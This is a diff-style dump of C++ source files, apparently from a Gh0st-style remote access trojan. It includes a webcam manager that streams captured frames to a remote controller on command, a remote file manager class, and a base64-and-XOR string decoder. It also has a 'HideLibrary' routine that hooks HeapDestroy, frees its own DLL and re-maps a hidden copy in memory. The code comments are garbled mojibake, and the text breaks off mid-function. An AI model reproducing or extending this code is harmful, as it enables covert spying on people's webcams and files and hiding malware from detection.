m_lpbmi->bmiHeader.biWidth = nWidth;
m_lpbmi->bmiHeader.biHeight = nHeight;
m_lpbmi->bmiHeader.biPlanes = 1;
m_lpbmi->bmiHeader.biSizeImage = (((m_lpbmi->bmiHeader.biWidth * m_lpbmi->bmiHeader.biBitCount + 31) & ~31) >> 3) * m_lpbmi->bmiHeader.biHeight;
// ʵ<><CAB5><EFBFBD><EFBFBD>֪һЩ<D2BB><D0A9><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
if (!capSetVideoFormat(m_hWndCap, m_lpbmi, sizeof(BITMAPINFO)))
return false;
}
m_lpDIB = new BYTE[m_lpbmi->bmiHeader.biSizeImage];
capDriverGetCaps(m_hWndCap, &gCapDriverCaps, sizeof(CAPDRIVERCAPS));
capOverlay(m_hWndCap, FALSE);
capPreview(m_hWndCap, FALSE);
capPreviewScale(m_hWndCap, FALSE);
m_bIsConnected = true;
return true;
}

View File

@@ -0,0 +1,31 @@
// VideoCap.h: interface for the CVideoCap class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)
#define AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_
#include <windows.h>
#include <vfw.h>
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
class CVideoCap
{
public:
HANDLE m_hCaptureEvent;
LPBITMAPINFO m_lpbmi;
static bool IsWebCam();
bool Initialize(int nWidth = 0, int nHeight = 0);
LPBYTE GetDIB();
static LRESULT CALLBACK capErrorCallback(HWND hWnd, int nID, LPCSTR lpsz);
static LRESULT CALLBACK FrameCallbackProc(HWND hWnd, LPVIDEOHDR lpVHdr);
CVideoCap();
virtual ~CVideoCap();
private:
LPBYTE m_lpDIB;
HWND m_hWnd;
HWND m_hWndCap;
static bool m_bIsConnected;
};
#endif // !defined(AFX_VIDEOCAP_H__5D857DCE_D889_45B0_8A98_33E1DF64CDE3__INCLUDED_)

View File

@@ -0,0 +1,221 @@
// VideoManager.cpp: implementation of the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#include "..\pch.h"
#include "VideoManager.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CVideoManager::CVideoManager(CClientSocket *pClient) : CManager(pClient)
{
m_pVideoCap = NULL;
m_pVideoCodec = NULL;
m_bIsWorking = true;
m_bIsCompress = true;
m_nVedioWidth = 0;
m_nVedioHeight = 0;
m_fccHandler = 0;
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
CVideoManager::~CVideoManager()
{
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
}
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_WEBCAM_ENABLECOMPRESS: // Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9>
{
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_pVideoCodec)
InterlockedExchange((LPLONG)&m_bIsCompress, true);
}
break;
case COMMAND_WEBCAM_DISABLECOMPRESS:
InterlockedExchange((LPLONG)&m_bIsCompress, false);
break;
case COMMAND_WEBCAM_RESIZE:
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
break;
default:
break;
}
}
void CVideoManager::sendBITMAPINFO()
{
DWORD dwBytesLength = 1 + sizeof(BITMAPINFO);
LPBYTE lpBuffer = new BYTE[dwBytesLength];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
memcpy(lpBuffer + 1, m_pVideoCap->m_lpbmi, sizeof(BITMAPINFO));
Send(lpBuffer, dwBytesLength);
delete [] lpBuffer;
}
void CVideoManager::sendNextScreen()
{
LPVOID lpDIB = m_pVideoCap->GetDIB();
// token + IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 1 + 4;
UINT nBufferLen = nHeadLen + m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage;
LPBYTE lpBuffer = new BYTE[nBufferLen];
if (lpBuffer == NULL)
return;
lpBuffer[0] = TOKEN_WEBCAM_DIB;
lpBuffer[1] = m_bIsCompress;
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD));
UINT nPacketLen = 0;
if (m_bIsCompress && m_pVideoCodec)
{
int nCompressLen = 0;
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage, lpBuffer + nHeadLen, &nCompressLen, NULL);
if (!nCompressLen)
{
// some thing ...
return;
}
nPacketLen = nCompressLen + nHeadLen;
}
else
{
memcpy(lpBuffer + nHeadLen, lpDIB, m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage);
nPacketLen = m_pVideoCap->m_lpbmi->bmiHeader.biSizeImage + nHeadLen;
}
Send(lpBuffer, nPacketLen);
delete [] lpBuffer;
}
void CVideoManager::ResetScreen(int nWidth, int nHeight)
{
InterlockedExchange((LPLONG)&m_bIsWorking, false);
WaitForSingleObject(m_hWorkThread, INFINITE);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>С
m_nVedioWidth = nWidth;
m_nVedioHeight = nHeight;
InterlockedExchange((LPLONG)&m_bIsWorking, true);
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
}
DWORD WINAPI CVideoManager::WorkThread( LPVOID lparam )
{
static DWORD dwLastScreen = GetTickCount();
CVideoManager *pThis = (CVideoManager *)lparam;
if (!pThis->Initialize())
{
pThis->Destroy();
pThis->m_pClient->Disconnect();
return -1;
}
pThis->sendBITMAPINFO();
// <20>ȿ<EFBFBD><C8BF>ƶ˶Ի<CBB6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pThis->WaitForDialogOpen();
while (pThis->m_bIsWorking)
{
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
pThis->sendNextScreen();
}
// <20><><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5><EFBFBD>
pThis->Destroy();
return 0;
}
bool CVideoManager::Initialize()
{
bool bRet = false;
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>
if (!CVideoCap::IsWebCam())
return false;
m_pVideoCap = new CVideoCap;
// ָ<><D6B8><EFBFBD>˹̶<CBB9><CCB6><EFBFBD>С
if (m_nVedioWidth && m_nVedioHeight)
{
bRet = m_pVideoCap->Initialize(m_nVedioWidth, m_nVedioHeight);
}
else
{
// <20><><EFBFBD><EFBFBD>H263<36><33><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD>ִ<EFBFBD>С,<2C><><EFBFBD>ȿ<EFBFBD><C8BF><EFBFBD>
bRet = m_pVideoCap->Initialize(352, 288);
if (!bRet)
bRet = m_pVideoCap->Initialize(176, 144);
// <20><><EFBFBD><EFBFBD>ϵͳĬ<CDB3>ϵ<EFBFBD>
if (!bRet)
bRet = m_pVideoCap->Initialize();
}
// <20><>Ҫ<EFBFBD><D2AA>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>CVideoCap<61><70>ʼ<EFBFBD><CABC>ʧ<EFBFBD><CAA7>
if (!bRet)
return bRet;
// <20><><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡһ<D1A1><D2BB>
DWORD fccHandlerArray[] =
{
859189837, // Microsoft H.263 Video Codec
842225225, // Intel Indeo(R) Video R3.2
842289229, // Microsoft MPEG-4 Video Codec V2
1684633187 // Cinepak Codec by Radius
};
for (int i = 0; i < sizeof(fccHandlerArray) / sizeof(fccHandlerArray[0]); i++)
{
m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_pVideoCap->m_lpbmi, fccHandlerArray[i]))
{
delete m_pVideoCodec;
// <20><>NULL, <20><><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ΪNULL<4C><4C><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD>ѹ<EFBFBD><D1B9>
m_pVideoCodec = NULL;
}
else
{
m_fccHandler = fccHandlerArray[i];
break;
}
}
return bRet;
}
void CVideoManager::Destroy()
{
if (m_pVideoCap)
{
delete m_pVideoCap;
m_pVideoCap = NULL;
}
if (m_pVideoCodec)
{
delete m_pVideoCodec;
m_pVideoCodec = NULL;
}
}

View File

@@ -0,0 +1,40 @@
// VideoManager.h: interface for the CVideoManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)
#define AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "VideoCap.h"
#include "..\..\..\common\VideoCodec.h"
class CVideoManager : public CManager
{
public:
void Destroy();
bool Initialize();
CVideoManager(CClientSocket *pClient);
virtual ~CVideoManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
void sendBITMAPINFO();
void sendNextScreen();
bool m_bIsWorking;
private:
CVideoCap *m_pVideoCap;
CVideoCodec *m_pVideoCodec;
DWORD m_fccHandler;
int m_nVedioWidth;
int m_nVedioHeight;
bool m_bIsCompress;
HANDLE m_hWorkThread;
void ResetScreen(int nWidth, int nHeight);
static DWORD WINAPI WorkThread(LPVOID lparam);
};
#endif // !defined(AFX_VIDEOMANAGER_H__1EE359F0_BFFD_4B8F_A52E_A8DB87656B91__INCLUDED_)

View File

@@ -0,0 +1,89 @@
static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
static int pos(char c)
{
char *p;
for(p = base64; *p; p++)
if(*p == c)
return p - base64;
return -1;
}
int base64_decode(const char *str, char **data)
{
const char *s, *p;
unsigned char *q;
int c;
int x;
int done = 0;
int len;
s = (const char *)malloc(strlen(str));
q = (unsigned char *)s;
for(p=str; *p && !done; p+=4){
x = pos(p[0]);
if(x >= 0)
c = x;
else{
done = 3;
break;
}
c*=64;
x = pos(p[1]);
if(x >= 0)
c += x;
else
return -1;
c*=64;
if(p[2] == '=')
done++;
else{
x = pos(p[2]);
if(x >= 0)
c += x;
else
return -1;
}
c*=64;
if(p[3] == '=')
done++;
else{
if(done)
return -1;
x = pos(p[3]);
if(x >= 0)
c += x;
else
return -1;
}
if(done < 3)
*q++=(c&0x00ff0000)>>16;
if(done < 2)
*q++=(c&0x0000ff00)>>8;
if(done < 1)
*q++=(c&0x000000ff)>>0;
}
len = q - (unsigned char*)(s);
*data = (char*)realloc((void *)s, len);
return len;
}
char* MyDecode(char *str)
{
int i, len;
char *data = NULL;
len = base64_decode(str, &data);
for (i = 0; i < len; i++)
{
data[i] -= 0x86;
data[i] ^= 0x19;
}
return data;
}

View File

@@ -0,0 +1,57 @@
// FileManager.h: interface for the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
#include <winsock2.h>
#include <list>
#include <string>
#include "Manager.h"
using namespace std;
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
typedef struct
{
UINT nFileSize; // <20>ļ<EFBFBD><C4BC><EFBFBD>С
UINT nSendSize; // <20>ѷ<EFBFBD><D1B7>ʹ<EFBFBD>С
}SENDFILEPROGRESS, *PSENDFILEPROGRESS;
class CFileManager : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
UINT SendDriveList();
CFileManager(CClientSocket *pClient);
virtual ~CFileManager();
private:
list <string> m_UploadList;
UINT m_nTransferMode;
char m_strCurrentProcessFileName[MAX_PATH]; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
__int64 m_nCurrentProcessFileLength; // <20><>ǰ<EFBFBD><C7B0><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC>ij<EFBFBD><C4B3><EFBFBD>
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
bool UploadToRemote(LPBYTE lpBuffer);
bool FixedUploadList(LPCTSTR lpszDirectory);
void StopTransfer();
UINT SendFilesList(LPCTSTR lpszDirectory);
bool DeleteDirectory(LPCTSTR lpszDirectory);
UINT SendFileSize(LPCTSTR lpszFileName);
UINT SendFileData(LPBYTE lpBuffer);
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
void GetFileData();
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void UploadNext();
bool OpenFile(LPCTSTR lpFile, INT nShowCmd);
};
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)

View File

@@ -0,0 +1,317 @@
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
#pragma comment(lib, "Psapi.lib")
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam);
typedef struct
{
HMODULE lpDllBase;
LPVOID lpNewDllBase;
PTHREAD_START_ROUTINE pAddress;
LPVOID lParam;
}UNLOADLIB_CALLBACK, *PUNLOADLIB_CALLBACK;
typedef
LPVOID WINAPI VIRTUALALLOC(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef
BOOL WINAPI VIRTUALFREE(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
typedef
BOOL WINAPI HEAPDESTROY(
HANDLE hHeap
);
typedef
HMODULE WINAPI LOADLIBRARY(
LPCTSTR lpFileName
);
typedef
HANDLE WINAPI CREATETHREAD(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
typedef void * __cdecl MEMCPY(void *, const void *, size_t);
BOOL incLibraryCount(HMODULE hMe)
{
//FreeLibrary<72><79><EFBFBD>ܶ<EFBFBD>ϵͳdllҲ<6C><D2B2>free<65><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѽ<EFBFBD><D1BC>ص<EFBFBD><D8B5><EFBFBD>loadһ<64><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>
HANDLE hModsSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if(INVALID_HANDLE_VALUE == hModsSnap)
{
return FALSE;
}
MODULEENTRY32 meModuleEntry;
meModuleEntry.dwSize = sizeof(MODULEENTRY32);
if(!Module32First(hModsSnap, &meModuleEntry))
{
CloseHandle(hModsSnap);
return FALSE;
}
do
{
if(LoadLibrary(meModuleEntry.szModule) == hMe)
FreeLibrary(hMe);
} while(Module32Next(hModsSnap, &meModuleEntry));
CloseHandle(hModsSnap);
return TRUE;
}
//ö<><C3B6>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><CCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
DWORD WINAPI EnumAndSetThreadState(LPVOID lParam)
{
HANDLE hThreadSnap = NULL;
THREADENTRY32 te32;
memset(&te32,0,sizeof(te32));
te32.dwSize = sizeof(THREADENTRY32);
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
DWORD myThreadId = GetCurrentThreadId();
DWORD pid = GetCurrentProcessId();
if (Thread32First(hThreadSnap, &te32))
{
do
{
if (pid == te32.th32OwnerProcessID)
{
if(myThreadId != te32.th32ThreadID)
{
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME,
FALSE,
te32.th32ThreadID);
if(hThread != NULL)
{
if((int)lParam)
ResumeThread(hThread);
else
SuspendThread(hThread);
CloseHandle(hThread);
}
}
}
}
while (Thread32Next(hThreadSnap,&te32));
}
CloseHandle( hThreadSnap );
return 0;
}
DWORD WINAPI GotoCallBackAddr(LPVOID lParam)
{
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
DWORD dwThreadId;
HANDLE hThread;
if(cbFunc->pAddress)
{
hThread = CreateThread(
NULL,
0,
cbFunc->pAddress,
cbFunc->lParam,
0,
&dwThreadId);
if(hThread)
CloseHandle(hThread);
}
//<2F>Ƿ<EFBFBD>dll<6C>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ˣ<EFBFBD><CBA3>ͷ<EFBFBD>~
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
delete cbFunc;
return 0;
}
DWORD WINAPI UnLoadLibrary(LPVOID lParam)
{
BYTE HeapDestroy_HookCode_bak[4];
BYTE HeapDestroy_HookCode[4] = "\xC2\x04\x00";//RETN 0004
MODULEINFO modinfo;
DWORD oldProtect;
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
HMODULE hDllInstance = cbFunc->lpDllBase;
char dllpath_bak[MAX_PATH];
GetModuleFileName(hDllInstance, dllpath_bak, sizeof(dllpath_bak));
GetModuleInformation(GetCurrentProcess(), hDllInstance, &modinfo, sizeof(MODULEINFO));
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dll(<28><><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>)<29><><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>,<2C><>ֹFreeLibrary<72><79>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Щdll<6C><6C>ϵͳж<CDB3>ص<EFBFBD>
incLibraryCount(hDllInstance);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><E3B6A8><EFBFBD>ٻָ<D9BB>
EnumAndSetThreadState((LPVOID)FALSE);
//FreeLibrary֮<79><D6AE>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>api<70><69>ַ<EFBFBD><D6B7><EFBFBD>ڴ<EFBFBD>Ҳ<EFBFBD><EFBFBD>ͷţ<CDB7>
//<2F><><EFBFBD><EFBFBD>FreeLibrary֮<79><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD>ûfree<65><65><EFBFBD>ؼ<EFBFBD>API<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
VIRTUALALLOC *_VirtualAlloc = (VIRTUALALLOC*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
LOADLIBRARY *_LoadLibrary = (LOADLIBRARY*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
CREATETHREAD *_CreateThread = (CREATETHREAD*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
MEMCPY *_memcpy = (MEMCPY*)
GetProcAddress(GetModuleHandle("ntdll.dll"), "memcpy");
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܹؼ<DCB9><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ã<EFBFBD><C3A3><EFBFBD> FreeLibrary ʱϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD>Ҫhook<6F><6B>,
//<2F><><EFBFBD>ܸ<EFBFBD>ϵͳ<CFB5>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>heap<61><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD>dllò<6C><C3B2><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD><EFBFBD>
//<2F><>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>new<65><77>malloc<6F><63><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>, VirtualAlloc<6F><63><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>֮<EFBFBD><D6AE>
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><C7BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD><EFBFBD>ø<EFBFBD>,<2C><>list<T><3E><>push<73>ڲ<EFBFBD><DAB2><EFBFBD>new
HEAPDESTROY *_HeapDestroy = (HEAPDESTROY*)
GetProcAddress(GetModuleHandle("kernel32.dll"), "HeapDestroy");
VirtualProtect(_HeapDestroy, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
//<2F>޸ĵ<DEB8>һ<EFBFBD><D2BB>ָ<EFBFBD><D6B8>Ϊֱ<CEAA>ӷ<EFBFBD><D3B7><EFBFBD>
_memcpy(HeapDestroy_HookCode_bak, _HeapDestroy, 3);
_memcpy(_HeapDestroy, HeapDestroy_HookCode, 3);
//Sleep(100);
//<2F><><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~~~^_^!
FreeLibrary(hDllInstance);//<2F>ͷ<EFBFBD>
//<2F>޸<EFBFBD><DEB8><EFBFBD>hook<6F>ĺ<EFBFBD><C4BA><EFBFBD>
_memcpy(_HeapDestroy, HeapDestroy_HookCode_bak, 3);
//_memcpy(_RtlFreeHeap, RtlFreeHeap_HookCode_bak, 3);
//<2F><>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>dll<6C><6C>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ棬<DAB4><E6A3AC><EFBFBD><EFBFBD>֮ǰ<D6AE><C7B0><EFBFBD>Ƿ<EFBFBD>dll<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>ȥ
if(_VirtualAlloc(hDllInstance,
modinfo.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) == NULL
)
{
//ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>dll, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>
//ע<><EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>е<EFBFBD><D0B5><EFBFBD>HideLibrary<72><79>LoadLibrary<72><79><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>ٴα<D9B4><CEB1><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
HMODULE hDll = _LoadLibrary(dllpath_bak);
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>hDll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC>ĵ<EFBFBD>ַ
cbFunc->pAddress = (LPTHREAD_START_ROUTINE)
((DWORD)cbFunc->pAddress - (DWORD)hDllInstance + (DWORD)hDll);
LPTHREAD_START_ROUTINE pFunc1 = (LPTHREAD_START_ROUTINE)
((DWORD)EnumAndSetThreadState - (DWORD)hDllInstance + (DWORD)hDll);
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
_CreateThread(0, 0, pFunc1, (LPVOID)TRUE, 0, 0);
//<2F><><EFBFBD>ûص<C3BB><D8B5><EFBFBD><EFBFBD><EFBFBD>
if(cbFunc->pAddress)
_CreateThread(0, 0, cbFunc->pAddress, cbFunc->lParam, 0, 0);
return 0;
}
_memcpy(hDllInstance, cbFunc->lpNewDllBase, modinfo.SizeOfImage);
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
EnumAndSetThreadState((LPVOID)TRUE);
//<2F><><EFBFBD><EFBFBD>ԭdll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>GotoCallBackAddr<64><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>VirtualAlloc<6F><63><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
_CreateThread(0, 0, GotoCallBackAddr, cbFunc, 0, 0);
return 0;
}
DWORD WINAPI HideLibrary02(LPVOID lParam)
{
//__asm INT 3
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
MODULEINFO modinfo;
GetModuleInformation(GetCurrentProcess(), cbFunc->lpDllBase, &modinfo, sizeof(MODULEINFO));
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>͵<EFBFBD>ǰdllͬ<6C><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ<EFBFBD>
cbFunc->lpNewDllBase = VirtualAlloc(NULL, modinfo.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(cbFunc->lpNewDllBase == NULL)
return FALSE;
//<2F><><EFBFBD><EFBFBD>ǰdll<6C><6C><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ棬
memcpy(cbFunc->lpNewDllBase, modinfo.lpBaseOfDll, modinfo.SizeOfImage);
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>copy<70><79>UnLoadLibrary<72>ĵ<EFBFBD>ַ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵߳<DFB3><CCB5>õ<EFBFBD>ִַ<D6B7><D6B4>
void *pNewUnLoadLibrary = LPVOID((DWORD)cbFunc->lpNewDllBase + (DWORD)UnLoadLibrary - (DWORD)modinfo.lpBaseOfDll);
DWORD ThreadId;
HANDLE hThread = CreateThread(0,0,
(LPTHREAD_START_ROUTINE)pNewUnLoadLibrary, (LPVOID)cbFunc, CREATE_SUSPENDED, &ThreadId);
if(hThread == NULL)
{
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
delete cbFunc;
return FALSE;
}
ResumeThread(hThread);
CloseHandle(hThread);
return TRUE;
}
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam)
{
PUNLOADLIB_CALLBACK lparam = new UNLOADLIB_CALLBACK;
lparam->lpDllBase = hModule;
lparam->lpNewDllBase = NULL;
